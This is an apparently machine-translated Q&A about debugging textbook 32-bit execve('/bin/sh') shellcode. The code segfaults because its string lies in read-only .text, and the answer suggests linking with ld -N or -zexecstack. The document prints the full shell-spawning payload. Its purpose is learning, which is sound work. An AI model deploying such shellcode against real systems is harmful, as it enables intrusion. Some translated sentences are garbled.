我遵循基本的shell-spawning漏洞利用示例。以下是我的书告诉我写的内容,但我仍然遇到了段错误。
在gdb中运行时,我在" mov byte [esi + 7],al"处得到段错误。这一行是必要的,这样我就可以在字符串的末尾添加一个空字节" / bin / sh"。 当我将它翻转到" mov byte al,[esi + 7]"时,这不会导致段错误。我假设我对存储字符串的内存中没有写权限。看来我只有读取权限。
我正在使用运行32位centos的虚拟机,该虚拟机由64位centos机器托管。
我已采取的预防措施:
通过BIOS设置
禁用主机中的XD标志Section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi ; stores address of string in esi
xor eax, eax ; fill eax with null bytes
mov byte [esi + 7], al ; replace 'J' with null byte - SEGFAULT!
lea ebx, [esi] ; stores address of string in ebx
mov long [esi + 8], ebx ; stores address of string in AAAA
mov long [esi + 12], eax ; stores null bytes in KKKK
mov byte al, 0x0b ; stores 11 (execve code) in al
mov ebx, esi ; stores address of string in ebx
lea ecx, [esi + 8] ; stores pointer to string in ecx
lea edx, [esi + 12] ; stores pointer to null in edx
int 0x80 ; system call
GotoCall:
call shellcode ; pushes address of string on stack
db '/bin/shJAAAAKKKK' ; creates space for string
我已经确认ESI包含指向gdb中字符串的正确地址。
/x $esi = 0x8048081
(gdb) x/s 0x8048081
0x8048081 <GotoCall+5>: "/bin/shJAAAAKKKK"
我也曾尝试使用0x1而不是al来写[esi]而不是[esi + 7]。看来我只是无法写入db指令分配的内存。为什么我不能向[esi + 7]写一个空字节?
答案 0 :(得分:3)
您已发现问题 - 您的内存中的字符串不可写。这是因为它位于.text
部分,默认为只读。
您可以通过链接-N
选项(用于测试shellcode)使其可写
与gcc -zexecstack
关联会使.data
成为可执行文件,因此您可以将修改自身的shellcode替换为使用.text
使ld -N
可写的替代方法。